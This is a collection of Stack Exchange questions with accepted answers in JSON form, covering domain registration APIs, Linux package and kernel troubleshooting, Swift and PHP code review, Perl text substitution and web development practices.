{  "id": "_webmaster.24593"  , "question": "I have a website where users register domain.com/user/username. I'd like to add a feature where users can search for and purchase a domain name that maps back to that URL.I'm not sure how big of a task this is - can anyone provide an explanation of what's involved?"  , "title": "Process of automating domain registration?"  , "tags": "domains;dns;url"  , "accepted_answer": "You'd have to either resell domain registrations, hook into a registrar's API, or become ICANN-accredited (which costs thousands of dollars I believe) - the most practical option would be to find a good, ICANN-accredited registrar (such as name.com or Namecheap or Enom) and use an API.For example, Namecheap.com has a developer's API that will let you register and manage domains:http://www.namecheap.com/support/api/api.aspx?sflang=enI should point out that APIs like this will register domains to YOUR account, not your customer's individual accounts. So if you secure payment from the customer first, you can register the domain to your (business?) account on a registrar automatically via an API. Then, you can use the same API to manage the domain's settings, such as pointing to their URL on your site.For billing and payment, I'd look into Google Wallet or PayPal (or better yet, both). You just have to write code that receives some data from their checkout endpoints and do your own processing (save to a database, send confirmation emails, register the domain, etc).So, it's not too far-fetched. If you have some time and a little financial means  (mostly to cover labor/coding costs) it should be fairly straightforward. Just find a developer who really knows what they're doing that you can trust (as always)."  } 
{  "id": "_unix.163101"  , "question": "Trying to install packages, and keep getting dependency errors.Already installed EPEL, IUS, REMI repos.Example:yum install gccand I get Error: Package: devtoolset-2-gcc-4.8.2-15.1.el6.x86_64 (slc6-devtoolset) requires: glibc-devel >= 2.2.90-12   (and other dependencies)and when I try to install glibc (or the other dependencies)yum install glibc-devel*I get no package glibc-devel* available.  Nothing to do.yum list installed |grep glibc* does not show any glibc-devel installedRHEL Version = 2.6.32-358.el6.x86_64[root@localhost yum.repos.d]# yum repolist allLoaded plugins: product-id, refresh-packagekit, replace, security, subscription-              : managerThis system is not registered to Red Hat Subscription Management. You can use subscription-manager to register.repo id                        repo name                          statusInstallMedia                   Red Hat Enterprise Linux 6.4       disabledepel                           Extra Packages for Enterprise Linu enabled: 11,141epel-debuginfo                 Extra Packages for Enterprise Linu disabledepel-source                    Extra Packages for Enterprise Linu disabledepel-testing                   Extra Packages for Enterprise Linu disabledepel-testing-debuginfo         Extra Packages for Enterprise Linu disabledepel-testing-source            Extra Packages for Enterprise Linu disabledius                            IUS Community Packages for Enterpr enabled:    232ius-archive                    IUS Community Packages for Enterpr disabledius-archive-debuginfo          IUS Community Packages for Enterpr disabledius-archive-source             IUS Community Packages for Enterpr disabledius-debuginfo                  IUS Community Packages for Enterpr disabledius-dev                        IUS Community Packages for Enterpr enabled:     25ius-dev-debuginfo              IUS Community Packages for Enterpr disabledius-dev-source                 IUS Community Packages for Enterpr disabledius-source                     IUS Community Packages for Enterpr disabledius-testing                    IUS Community Packages for Enterpr disabledius-testing-debuginfo          IUS Community Packages for Enterpr disabledius-testing-source             IUS Community Packages for Enterpr disabledpgdg93                         PostgreSQL 9.3 6Server - x86_64    enabled:    256pgdg93-source                  PostgreSQL 9.3 6Server - x86_64 -  disabledremi                           Les RPM de remi pour Enterprise Li disabledremi-debuginfo                 Les RPM de remi pour Enterprise Li disabledremi-php55                     Les RPM de remi de PHP 5.5 pour En disabledremi-php55-debuginfo           Les RPM de remi de PHP 5.5 pour En disabledremi-php56                     Les RPM de remi de PHP 5.6 pour En disabledremi-php56-debuginfo           Les RPM de remi de PHP 5.6 pour En disabledremi-test                      Les RPM de remi en test pour Enter disabledremi-test-debuginfo            Les RPM de remi en test pour Enter disabledrhel-source                    Red Hat Enterprise Linux 6Server - disabledrhel-source-beta               Red Hat Enterprise Linux 6Server B disabledrpmforge                       RHEL 6Server - RPMforge.net - dag  enabled:  4,718rpmforge-extras                RHEL 6Server - RPMforge.net - extr disabledrpmforge-testing               RHEL 6Server - RPMforge.net - test disabledslc6-devtoolset                Scientific Linux CERN 6 (SLC6) - D enabled:    458slc6-devtoolset-debug          Scientific Linux CERN 6 (SLC6) - D disabledslc6-devtoolset-source         Scientific Linux CERN 6 (SLC6) - D disabledslc6-devtoolset-testing        Scientific Linux CERN 6 (SLC6) - D disabledslc6-devtoolset-testing-debug  Scientific Linux CERN 6 (SLC6) - D disabledslc6-devtoolset-testing-source Scientific Linux CERN 6 (SLC6) - D disabledslc6-os                        Scientific Linux CERN 6 (SLC6) bas disabledwebtatic                       Webtatic Repository 6Server - x86_ enabled:    383webtatic-debuginfo             Webtatic Repository 6Server - x86_ disabledwebtatic-source                Webtatic Repository 6Server - x86_ disabledrepolist: 17,213"  , "title": "Can't install any packages on RHEL because of dependancies"  , "tags": "rhel"  , "accepted_answer": "You should be installing the gcc package from  slc6-os.repo or slc6-updates.repo Then the dependancies will be provided from there too rather than using the devtoolset version.Yum Repositories Entries/etc/yum.repos.d/slc6-os.repo/etc/yum.repos.d/slc6-updates.repo/etc/yum.repos.d/slc6-extras.repoInstallation instructionsLocation:slc6-os.reposlc6-updates.reposlc6-extras.repoImport the GPG key:rpm --import http://linuxsoft.cern.ch/cern/slc6X/x86_64/RPM-GPG-KEY-cern"  } 
{  "id": "_cs.16744"  , "question": "Let $S$ be a set of $n$ integers. Consider the following weighted permutations problem.Let $m<n$ be an integer. What is an efficient algorithm to enumerate all subsets of $m$ integers of $S$ such that they are listed in order of the sum of the integers in each subset?Each subset is a permutation, and each permutation has a total weight that is the sum of the integers in the permutation.The idea is to come up with an algorithm that is not the trivial algorithm of enumerating all subsets, and then sorting them, i.e. more of a streaming type algorithm. That is, efficiency in terms not so much of time but of small space.Maybe this is published somewhere in the literature although I have not seen it."  , "title": "Enumerating weighted permutations in sorted order problem"  , "tags": "algorithms;reference request;sorting;efficiency;enumeration"  } 
{  "id": "_softwareengineering.66389"  , "question": "I wasn't sure if this was more suited to here or StackOverflow. I've always resisted doing web development because the technology stack just seemed a mess. It seems the web has become quite popular so I'm actually going to embrace web development, at least for a little project I'm thinking about.I'm a Microsoft developer, so I'm going to use ASP.NET. I'm familiar with how the web technologies work at a high level, I sort of understand what Javascript can do, I get AJAX (conceptually). CSS and HTML seem ugly but I get what they're for.As an ASP.NET developer do you find yourself working directly with Javascript or HTML? Does AJAX get abstracted away neatly or do you find yourself doing that stuff by hand? Are there any other technologies you use?And on a related note, I don't quite see where HTML 5 fits in with ASP.NET, yet. There seems to be a lot of noises from Microsoft that HTML 5 is actually the future of the web as opposed to Silverlight, so do any pro ASP.NET developers understand or use HTML 5 features?I appreciate that's kinda vague, I think a lot of it will become clearer as I get started, but I'd feel more secure if I had some soothing words and pointers from people who have already been through that."  , "title": "If you develop with ASP.NET, which other technologies do you use?"  , "tags": "asp.net"  , "accepted_answer": "First thing to understand is that ASP.Net is a server-side programming API. When you develop with ASP.Net you are writing a .Net program that runs on a server and ultimately serves HTML/CSS/Javascript code over the internet to a web browser. Then the web browser parses that code and displays the output.That being the case, I don't think you should look at HTML/CSS/Javascript as something to be abstracted away from you. The ASP.Net Web Forms model was originally designed with this goal in mind, but in practice it does not work well because the output is bloated, ugly code which is difficult to maintain and does not conform well to web standards.This is why there has been a shift away from that model with the ASP.Net MVC Framework, where you are encouraged more than ever to write that code by hand. This is so you can have full control over the HTML/CSS/Javascript that is sent to the browser. Also, with this understanding, HTML 5 fits into the picture perfectly fine."  } 
{  "id": "_codereview.153291"  , "question": "I have some coordinates looking likeN47 15' 36.75,E011 20' 38.28,+001906.00and I've created a class to parse and convert them to Double:struct PLNWaypointCoordinate {    var latitude: Double = 0.0    var longitude: Double = 0.0    init(coordinateString: String) {        self.latitude = convertCoordinate(string: coordinateString.components(separatedBy: ,)[0])        self.longitude = convertCoordinate(string: coordinateString.components(separatedBy: ,)[1])    }    private func convertCoordinate(string: String) -> Double {        var separatedCoordinate = string.characters.split(separator:  ).map(String.init)        let direction = separatedCoordinate[0].components(separatedBy: CharacterSet.letters.inverted).first        let degrees = Double(separatedCoordinate[0].components(separatedBy: CharacterSet.decimalDigits.inverted)[1])        let minutes = Double(separatedCoordinate[1].components(separatedBy: CharacterSet.decimalDigits.inverted)[0])        let seconds = Double(separatedCoordinate[2].components(separatedBy: CharacterSet.decimalDigits.inverted)[0])        return convert(degrees: degrees!, minutes: minutes!, seconds: seconds!, direction: direction!)}    private func convert(degrees: Double, minutes: Double, seconds: Double, direction: String) -> Double {        let sign = (direction == W || direction == S) ? -1.0 : 1.0        return (degrees + (minutes + seconds/60.0)/60.0) * sign    }}Is there a better and safer way to perform this conversion?Last method I've picked up here. Sorry, but I can't find the link to reference it."  , "title": "Parsing and converting DMS Coordinates from String to Double"  , "tags": "swift;unit conversion"  , "accepted_answer": "You have defined a value type (struct) and not a class, which is good. Invar latitude: Double = 0.0var longitude: Double = 0.0you can omit the type annotations because the compiler can infer thetype automatically:var latitude = 0.0var longitude = 0.0But actually I would go the other way around and replace the initialvalues by an init() method. The reason is that  since you definedyour own init method there is no default memberwise initializer anymore.Therefore I would start withstruct PLNWaypointCoordinate {    var latitude: Double    var longitude: Double    init(latitude: Double, longitude: Double) {        self.latitude = latitude        self.longitude = longitude    }    // ...}which allows you to create a value not only from a string, butalso from a given latitude and longitude:let c = PLNWaypointCoordinate(latitude: ..., longitude: ...)Your init(coordinateString: String) method assumes that the givenstring is in a valid format and can crash otherwise (by accesssingout-of-bounds array elements or unwrapping nils). As@Ashley already said in his answer, you should define a failable initializer instead, which returns nil if the input isinvalid:init?(coordinateString: String) { ... }Alternatively, define a throwing initializer:init(coordinateString: String) throws { ... }which throws an error for invalid input. Your helper methods convertCoordinate and convert are private,which is good. They do not use any properties of the value, which meansthat they can be made static.The conversion helper function is very lenient, it will for exampleaccept X47 15 36.75 instead of N47 15' 36.75 as latitude. It does not check that the coordinate starts witha valid direction, or that the proper separators are used.I don't know what the final part +001906.00 stands for, but thatis ignored completely in your code.There is also a flaw in your conversion, the fractional partof the seconds is ignored, e.g. 36.75 is taken as 36 seconds.I would suggest to use Scanner instead, which makes it relativelyeasy to check for a valid input and simultaneouslyparse the values into variables. To distinguish between latitude and longitude, two arguments for the positiveand the negative direction are passed to the helper method.The complete code then looks like this:struct PLNWaypointCoordinate {    var latitude: Double    var longitude: Double    init(latitude: Double, longitude: Double) {        self.latitude = latitude        self.longitude = longitude    }    init?(coordinateString: String) {        let components = coordinateString.components(separatedBy: ,)        guard components.count >= 2,            let latitude = PLNWaypointCoordinate.convertCoordinate(coordinate: components[0],                                                                   positiveDirection: N,                                                                   negativeDirection: S),            let longitude = PLNWaypointCoordinate.convertCoordinate(coordinate: components[1],                                                                    positiveDirection: E,                                                                    negativeDirection: W)            else {                return nil        }        self.init(latitude: latitude, longitude: longitude)    }    private static func convertCoordinate(coordinate: String,                                          positiveDirection: String,                                          negativeDirection: String) -> Double? {        // Determine the sign from the first character:        let sign: Double        let scanner = Scanner(string: coordinate)        if scanner.scanString(positiveDirection, into: nil) {            sign = 1.0        } else if scanner.scanString(negativeDirection, into: nil) {            sign = -1.0        } else {            return nil        }        // Parse degrees, minutes, seconds:        var degrees = 0        var minutes = 0        var seconds = 0.0        guard scanner.scanInt(&degrees),         // Degrees (integer),            scanner.scanString(, into: nil),  // followed by ,            scanner.scanInt(&minutes),           // minutes (integer)            scanner.scanString(', into: nil),  // followed by '            scanner.scanDouble(&seconds),        // seconds (floating point),            scanner.scanString(\\, into: nil), // followed by ,            scanner.isAtEnd                      // and nothing else.            else { return nil }        return sign * (Double(degrees) + Double(minutes)/60.0 + seconds/3600.0)    }}"  } 
{  "id": "_unix.204241"  , "question": "I recall that X11 provided a number of fun programs accessible via unix. For instance, if you use the command xeyes, an interface will pop up of cartoon-like eyes which follow your cursor everywhere. This still works on my most update version of X11. But I remember so many more of these fun little commands. For instance, there is:(A) xsnow which causes snow to fall on your desktop, with the santa option(B) xsol which would begin a solitaire GUI you could interact with (C) xmille was something similar, and allow you to play the game Mille Borne(D) xroach caused cockroaches to crawl all over your screen, with the squish option allow you to click/squish these buggers(E) xphoon would show the moon as it appears today(F) xpenguins has penguins appear(G) oneke had something to do with cats and dogsQuestion 1: Does anyone else still use these? The only command which still works for me is xeyes. Which updates do I need to use the others? Question 2: Have I forgotten any of these types of X11 commands? "  , "title": "X Windows special programs: do some of these still exist?"  , "tags": "linux;x11"  , "accepted_answer": "If you are using a debian-derivative (debian, ubuntu, linux mint), you can use the commandapt-cache search xmilleto search for any of these. Then, useapt-get install xmille(or the given package name). This works with xpenguins, too, but for example not with oneke."  } 
{  "id": "_softwareengineering.332751"  , "question": "I've moved this from Stack Overflow and this was the suggested place to ask. This has been marked as a possible duplicate of a question about the merits of composition over inheritance. I'm not asking that question, I'm looking for strategies to manage development given the code we have. The context of the question is a set of applications written in C++ with Qt. We work in a pseudo agile manner, i.e. we have 2 week sprints but don't have frequent releases.They are all variations of a theme but each modifies the one before it.This is not an ideal scenario but what I have to work with.So application A uses Alib. application B uses Blib and Alib; most of the classes in Blib are descendents of those in Alib. Similarly application C uses Alib Blib and Clib, which subclasses from Blib primarily but also occasionally Alib.We use CVS and it is a proper pain in the neck to branch our builds as the MSVC projects never merge correctly.What currently happens is a developer working on Alib can cause unforeseen issues in both Blib and Clib unless we adopt some strategy for review or rules on development.We are under a lot of time pressure and don't currently have the time to reorganise the code, so I am looking for things we can do within the current framework.If we were using git it would be easier to branch the code for each dev but again we're not currently there just yet (it is in the pipeline).I'm thinking along the lines of requiring all new developments which alter (as opposed to add) functionality in ALib to subclass that behaviour.Other options I've read about include fail often i.e. being brash about committing/changing the stuff in Alib and make sure that Blib and Clib are review often enough to keep up with the changes.Similar to this is frequent code reviewing (one developer (me) has good knowledge of all three libs so should be able to spot potential downstream effects early), which begs the question pre or post commit.Edit: Thanks for the broad range of solutions, I wish I could mark a couple of these as answers, but have gone with John W'us answer. He's articulated my dilemma quite well in the third point - trying to reduce repeating ourselves (i.e. don't violate DRY) while having some isolation for each lib. Ultimately a code refactor is in order, but more (some!) unit tests should highlight broken code. One issue we've had is that the developer in Alib would see their changes affecting Blib and Clib and go and change those in ways the developers of Blib and Clib didn't exactly appreciate. So a rule about keeping code closed (extend but don't modify) is also very pertinent. "  , "title": "How to prevent downstream problems due to inheritance"  , "tags": "c++;agile;inheritance;maintainability"  , "accepted_answer": "Three options for youFollow the Open/Closed PrincipleFrom a code and process management perspective, getting a teamwide agreement to adhere to the Open/Closed Principle should help resolve the problem.If you are able to get everyone to follow this principle pretty strictly then it may be all that you need to do.Continuous integration builds with automated unit testsDevelop an automated continuous build process in which ALib, BLib, and CLib are built whenever any of them change.Develop a suite of automated unit tests that execute as part of the build.  If any of the tests fail, the build should fail.Publicly shame anyone who breaks the build..Use interfaces insteadIf you cannot help yourself and ALib needs to be able to be modified all the time, then perhaps you should move away from implementation inheritance and stick strictly with interface inheritance, as follows:Develop a new lib, call it ILib.  This library should contain zero implementation code and should only contain interface definitions.Remove the inheritance relationship between ALib, BLib, and CLibAdd an interface relationship between ALib->ILib, BLib->ILib, and CLib->ILibFreeze ILibThat way, any implementation changes in ALib will have zero impact on BLib and CLib.The drawback is that you may end up duplicating a lot of code, i.e. violate DRY.  "  } 
{  "id": "_webmaster.47885"  , "question": "I want to set up a Google Analytic's Experiment to test variations of product page. Parts of the URL changes depending on what product you are viewing - here are some examples...domain.com/products/shirt/100domain.com/products/pants/200domain.com/products/hat/300I want to experiment on everything that comes after /products/.How can I set this up as an experiment? Do I just input domain.com/products/? Or do I add some fancy regular expression magic?... Is this at all possible, or do Experiments only apply to static pages? If that's the case; what alternatives are there out there?"  , "title": "Google Experiments & dynamic URLs"  , "tags": "google analytics"  } 
{  "id": "_webapps.50047"  , "question": "Im using importdata to retrieve Yahoo stock information, which works fine on individual rows, but when combined with arrayformula to fill down the page when additional symbols are added does not initiate continue. The formula I'm using is:=arrayformula(ImportData(http://finance.yahoo.com/d/quotes.csv?s=&CONCAT(A2:A,B2:B)&&f=snk2l1jkm3m4))A2:A contains the stock codesB2:B contains the exchange code, e.g., .ax for Australia"  , "title": "Use of importdata with arrayformula"  , "tags": "google spreadsheets;formulas"  } 
{  "id": "_unix.260409"  , "question": "For my i3 window-manager settings, I am looking for a command line tool, similar to xbacklight, but to control the brightness of the leds which are in the keyboard.Basically, I can set up the leds through a command line, but it requires to be root:# Light off the ledsecho 0 > /sys/class/leds/smc::kbd_backlight/brightness# Light on the leds (full power)echo 100 > /sys/class/leds/smc::kbd_backlight/brightnessI know that it is possible because Gnome3 has support for that, but I do not know exactly how they proceed...For now, my ~/.config/i3/config looks like this:# screen brightness controlsbindsym XF86MonBrightnessUp exec xbacklight -inc 10bindsym XF86MonBrightnessDown exec xbacklight -dec 10# keyboard backlight controls#TODO# XF86KbdBrightnessUp# XF86KbdBrightnessDownSo, is there a tool, similar to xbacklight to do the same than screen brightness with keyboard backlight? It would be even better if this tool would have the control on both (screen and keyboard)."  , "title": "Set bindings in i3 to control keyboard backlight"  , "tags": "i3;backlight;keyboard backlight"  , "accepted_answer": "You could write your own pretty easily.Create two shell scripts containing the echo lines above somewhere in your path (/usr/local is the normal place).  Set the permissions 755 owned by root.  Then either edit your sudoers file to allow them to be run as root, or use chmod +s to set them SUID.This sort of thing is considered a security risk, BTW, so make absolutely sure the permissions are set appropriately.  You don't want anyone without root permissions to be able to edit the scripts, and you don't want the scripts to use any input.It would be trivial to add support for a brightness level flag, but unless you're an accomplished shell scripter I'd recommend against it as a bug in your code would be a security hole."  } 
{  "id": "_unix.315243"  , "question": "I have a LENOVO Ideapad 300-14IBR 80M2.The basic debian install failed on me. (many problems : wifi, suspend, gpu, various crashes...)I randomly used jessie-backport and non-free, compiling and installing some linux kernels as well.#dpkg --list | grep linux-imageii  linux-image-3.16.0-4-amd64              3.16.36-1+deb8u1                     amd64        Linux 3.16 for 64-bit PCsii  linux-image-4.2.1-040201-generic        4.2.1-040201.201509211431            amd64        Linux kernel image for version 4.2.1 on 64 bit x86 SMPii  linux-image-4.4.13                      1.0.NAS                              amd64        Linux kernel binary image for version 4.4.13ii  linux-image-4.5.0-0.bpo.2-amd64         4.5.4-1~bpo8+1                       amd64        Linux 4.5 for 64-bit PCsii  linux-image-4.6.0                       1.0.NAS                              amd64        Linux kernel binary image for version 4.6.0ii  linux-image-4.6.0-0.bpo.1-amd64         4.6.3-1~bpo8+1                       amd64        Linux 4.6 for 64-bit PCsii  linux-image-amd64                       3.16+63                              amd64        Linux for 64-bit PCs (meta-package)With linux-image-4.2.1-040201-generic the GPU is working a little. (less charge on cpu on video play... but suspend, hibernate just crash the computer)I obviously have no idea what I am doing, but it's a good time for me to learn.My main problem is with my GPU : #lspci -vnn | grep VGA 00:02.0 VGA compatible controller [0300]: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Integrated Graphics Controller [8086:22b1] (rev 21) (prog-if 00 [VGA controller])How can i find the best kernel for my system based on a specific hardware ?Do I need to compile it myself or is there a trustable kernel source with a gpu/driver inside ?now my /etc/apt/sources.list :deb ftp://ftp.debian.org/debian stable main contrib non-freedeb http://httpredir.debian.org/debian/ jessie main contrib non-freedeb http://ftp.debian.org/debian jessie-backports main contrib non-freeThanks."  , "title": "Looking for match between my laptop and linux kernel"  , "tags": "debian;linux kernel"  } 
{  "id": "_codereview.104804"  , "question": "I have this array within array which contains a lot of values:   183 =>     array (size=3)      0 => string 'DE' (length=2)      1 => string '2015-06-09' (length=10)      2 => string 'GK' (length=2)     184 =>     array (size=3)      0 => string 'DE' (length=2)      1 => string '2015-06-08' (length=10)      2 => string 'GL' (length=2)     185 =>     array (size=3)      0 => string 'FR' (length=2)      1 => string '2015-06-09' (length=10)      2 => string 'GN' (length=2)     186 =>     array (size=3)      0 => string 'FR' (length=2)      1 => string '2015-09-08' (length=10)      2 => string 'GO' (length=2)0 is the country code. 1 is a date. 2 is a column on an Excel file. I want to organize it in this way: 2015-06-09 =>   array (size=3)    DE =>       array (size=2)        column => GK        download => 666     FR =>       array (size=2)        column => GN        download => 777 2015-06-08 =>  array (size=3)    DE =>       array (size=2)        column => GL        download => 666     FR =>       array (size=2)        column => GO        download => 777 So the same date can show up more than once. if it gets to an array value with the same date - it inserts in it the country code with and its' column. if it has more than 1 country - it adds a new country. (with the 'download' and column values). I have this function: function get_cols_to_array_by_date($array) {     $mainarr = array();    $last_in_arr = count($array);     for ($i=0; $i<$last_in_arr; $i++){            $mainarr[$array[$i][1]] = array( $array[$i][0]=> array('downloads'=> 666, 'col'=>$array[$i][2]) );    }    return $mainarr;}which outputs an array that runs over the country when it gets to the same date and doesn't give me an array of countries. What part am I missing in my code? Is there a simpler way to do it? ( PHP syntax shortcuts ;) )"  , "title": "Reorganizing a PHP array structure (arrays within arrays)"  , "tags": "php;array;php5"  , "accepted_answer": "WhyYou're replacing the indexed item for the date when you declare a new array in the line:$mainarr[$array[$i][1]] = array( $array[$i][0]=> array('downloads'=> 666, 'col'=>$array[$i][2]) );See it as $array[$index] = array(...) -- running it again over the same index would replace the value at that index.Quick FixYou could simply replace that line with (considering that there'll not be more than one line for a given country, for the same date, as in: no two DE for 2015-06-08):if (!isset($mainarr[$array[$i][1]])) { $mainarr[$array[$i][1]] = array(); }$mainarr[$array[$i][1]][$array[$i][0]] = array('downloads'=> 666, 'col'=>$array[$i][2]);Note that $array[$i][0] (aka the country) moved to the left site of =, and the outer array on the right side of it was removed.How would I doI refactored the code to be more legible and easier to understand, and also use better practices IMHO:function get_cols_to_array_by_date($array) {     // set the name of the variable to a more meaningful one    $result = array();    foreach ($array as $i => $data) {        // shortcuts to prevent having to remember which index they are (you could change them for constants)        $country = $data[0];        $date = $data[1];        $col = $data[2];        $download = 123; // don't know where 'download' value comes from, put it here        // you need to check if the date index already exists        // if not, create the empty array for the date        if (!isset($result[$date])) {            $result[$date] = array();        }        // considering that country will NOT repeat for a given date        $result[$date][$country] = array(            'column' => $col,            'download' => $download,        );    }    return $result;}"  } 
{  "id": "_unix.193314"  , "question": "I installed Linux Mint 17.1 on VMWare Player 7.1.0 but when I try to reboot the system, it saysModemManager is shut downand in the next line, it saysnm-dispatcher.action: Could not get the system bus. Make sure the message bus dameon is running! Message: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directoryBefore this I renamed the file org.freedesktop.ModemManager1.service to thisfilebreaksmycomputer.service from /usr/share/dbus-1/system-services following this link Ubuntu 14.04 wont shutdown or reboot.I tried with different commands like sudo init 6, sudo reboot now, sudo shutdown now but all the same.Any suggestions please?"  , "title": "Unable to reboot or shutdown Linux Mint 17.1 on VMWare Player"  , "tags": "linux mint;reboot"  } 
{  "id": "_webmaster.76510"  , "question": "On my side, I use bootstrap modals (aka dialogs / overlays) with remote content to display the detail view of some things (for example for detail view of user reviews/comments).The code looks like this:<a data-toggle=modal href=/detail-12.html data-target=#myModal>Detail of this comment 12</a>Basically, when a user clicks on the link, bootstrap loads the content of the href and inserts it as an overlay to the page. Google and other SE follow the link, because its a normal link for them and they index the page. The problem:Since I only load the modal content (basically without <html><head>...etc.) without any site structure like header, navigation or sidebar, I have a useless page indexed. Since the aim of my question, wasn't clear enought, I had to change the question a little bit:At the moment, a normal user clicks on the link and sees a modal with the content <h1>Detail of Product 12</h1>. Thats fine and what I want!A non JavaScript User or Google Crawler would follow the link to /deatil-12.html and see a white, unstyled page without any navigation or footer, just with the content <h1>Detail of Product 12</h1>. This ugly page would be indexed by google. Thats bad, since if a user enters this page, he sees an ugly page and has no chance to reach other pages (since lack of navigation urls).What I wantI want, that a normal User sees the content inside a modal (like know). And a non JS User (incl. Google) sees the content inside my normal page structure <html><head>...</head><body><nav>My cool navigation</nav><h1>Detail 12</h1><p>Some content...</p><footer>My cool footer</footer></body></html>.I know, how to reach this technically (by adding a param on-click to the url. If this param is set, I will return the modal content only. If this param is not set (No JS = No Click-Event), I will return the complete HTML page including header, footer, navi, etcMy questionWill Google punish me for that or is it OK for Google? "  , "title": "URLs for dialogs from Bootstrap modals popups are getting indexed in search engines, but without nav they aren't good landing pages"  , "tags": "google;googlebot;bootstrap"  } 
{  "id": "_datascience.11413"  , "question": "How do we calculate monthly rolling average? I have monthly 2 years of data . I know that if it is 2 months rolling average ,we need to take the average of every 2 months . But since I need monthly rolling average,I am assuming that it would just be the mean of each month and prepare a chart having means of each month . Please correct me if I am wrong..I need to show this in R."  , "title": "Time series_Calculation of monthly rolling average"  , "tags": "r;time series"  } 
{  "id": "_unix.159686"  , "question": "I want to replace now within my working directories the word -> with $\\to$ if the word is not within verbatim environment.PseudocodeReplace all entriens of -> with $\\to$ everywhere else but not  within \\begin{verbatim}...\\end{verbatim}.My perl pseudocode based on this excellent answer#!/usr/bin/env perl## The target directoriesmy @directories=(Cardiology, Pathophysiology, Patology and Biopsy, Physiology, Propedeutics, Radiology, Rheumatology, Surgery);## Iterate over the directoriesforeach my $dir (@directories) {    my $dd=0;    ## Read the current directory    opendir (my $DIR, $path/$dir);    ## Find all files in this directory    while (my $file = readdir($DIR)) {        ## Skip any files that aren't .tex        next unless $file =~ /\\.tex$/;        ## Open the file        open(my $fh,$path/$dir/$file);        while (<$fh>) {            if (/\\\\begin{verbatim}/) {                                    # Skip the Verbatim environment # TODO how this?                # Need to tell it that you one line by one until \\end{verbatim} is met, after which go normally forward.                while (!/\\\\end{verbatim}/) {                    $dd++;                }                $dd++;            }            else {                if ($dd==0) {                    $dd++;       # I think we need this here to go one line after another                }                $string =~ s/->/$\\to$/g;            }        }        print \\n;    }where I am not sure about the innermost pseudocode in while -loop:        while (<$fh>) {            if (/\\\\begin{verbatim}/) {                                    # Skip the Verbatim environment # TODO how this?                # Need to tell it that you one line by one until \\end{verbatim} is met, after which go normally forward.                while (!/\\\\end{verbatim}/) {                    $dd++;                }                $dd++;            }            else {                if ($dd==0) {                    $dd++;       # I think we need this here to go one line after another                }                $string =~ s/->/$\\to$/g;            }        }How can you write such a pseudocode with condition?"  , "title": "How to write this replacement with condition"  , "tags": "text processing;scripting;perl;latex"  , "accepted_answer": "Assuming your shell is bash, this can be a one-liner:perl -i.bak  -pe '    /\\\\begin\\{verbatim\\}/../\\\\end\\{verbatim\\}/ or s/->/\\$\\\\to\\$/g' {Cardiology,Pathophysiology,Patology and Biopsy,Physiology,Propedeutics,Radiology,Rheumatology,Surgery}/*.texNote that {...} is a regex quantifier, so the braces need to be escaped.I'd write your code as:my @directories=(    Cardiology, Pathophysiology, Patology and Biopsy, Physiology,     Propedeutics, Radiology, Rheumatology, Surgery);chdir $path or die cannot chdir '$path';foreach my $dir (@directories) {    opendir my $DIR, $dir or die cannot opendir '$dir';    while (my $file = readdir($DIR)) {        my $filepath = $dir/$file;        next unless -f $filepath and $filepath =~ /\\.tex$/;        open my $f_in, <, $filepath             or die cannot open '$filepath' for reading;        open my $f_out, >, $filepath.new            or die cannot open '$filepath.new' for writing;        while (<$fh>) {            if (not /\\\\begin\\{verbatim\\}/ .. /\\\\end\\{verbatim\\}/) {                                    s/->/\\$\\\\to\\$/g;            }            print $f_out;        }        close $f_in   or die cannot close '$filepath';        close $f_out  or die cannot close '$filepath.new';        rename $filepath, $filepath.bak              or die cannot rename '$filepath' to '$filepath.bak';        rename $filepath.new, $filepath            or die cannot rename '$filepath.new' to '$filepath';    }    closedir $DIR  or die cannot closedir '$dir';}I'd continue to make it more OO:use autodie qw(:io);use Path::Class;foreach my $dir (        Cardiology, Pathophysiology, Patology and Biopsy, Physiology,         Propedeutics, Radiology, Rheumatology, Surgery) {    my $directory = dir($path, $dir);    while (my $file = $directory->next) {        next unless -f $file and $file =~ /\\.tex$/;        my $f_out = file($file.new)->open('w');        for ($file->slurp) {            /\\\\begin\\{verbatim\\}/ .. /\\\\end\\{verbatim\\}/  or s/->/\\$\\\\to\\$/g;            $f_out->print;        }        $f_out->close;        rename $file, $file.bak;        rename $file.new, $file;    }}"  } 
{  "id": "_softwareengineering.304168"  , "question": "I'm currently working on a project which only uses its database for data storage. This means there are no triggers or stored procedure in it, just tables and data to put into it. In this scenario I'm building the application using Spring 4. The Spring container allows you to have profiles, which basically decide which beans get loaded in your project. You can make sure an embedded in-memory database or a full-fledged oracle database is used for data storage, without having to change a single thing in your code.This is obviously using for unit and integration testing. Not having to rely on a database is great for your tests. I was wondering if the same doesn't count during development. In this specific project I'm not entirely sure about what my final data model will look like, and because I don't feel like writing SQL over and over to move columns I'd prefer to use some kind of in-memory database. Of course one with pre-filled development data, so I can mimic a system that's been filled with all kinds of data, and I can easily add more for small tests during development.Is this a recommended practice or inherently bad in a way?"  , "title": "Is it a good practice to have a pre-filled embedded database for development?"  , "tags": "database;database design;development process;database development"  } 
{  "id": "_unix.256083"  , "question": "On a CentOS 7 server, I have installed PHP from remi repository. I need to connect to Oracle 9.2 on a remote machine. Installing oci8 via yum install oci8 results OCI8 Version  2.1.0 which is not compatible with Oracle 9.2. The following is from the phpinfo output. OCI8 Support    enabledOCI8 DTrace Support enabledOCI8 Version    2.1.0Revision    $Id: 8e84657b6fdeaa913819689ef327ad2808110ed4 $Oracle Run-time Client Library Version  12.1.0.2.0Oracle Compile-time Instant Client Version  12.1Trying to install an earlier version using pecl install oci8-1.4.10 fails as well: In file included from /var/tmp/oci8/oci8.c:58:0:/var/tmp/oci8/php_oci8_int.h:56:17: fatal error: oci.h: No such file or directory #include <oci.h>                 ^compilation terminated.make: *** [oci8.lo] Error 1ERROR: `make' failedWhat should I do to install oci8 version 1.*?"  , "title": "Installing oci8 php extension"  , "tags": "centos;php"  } 
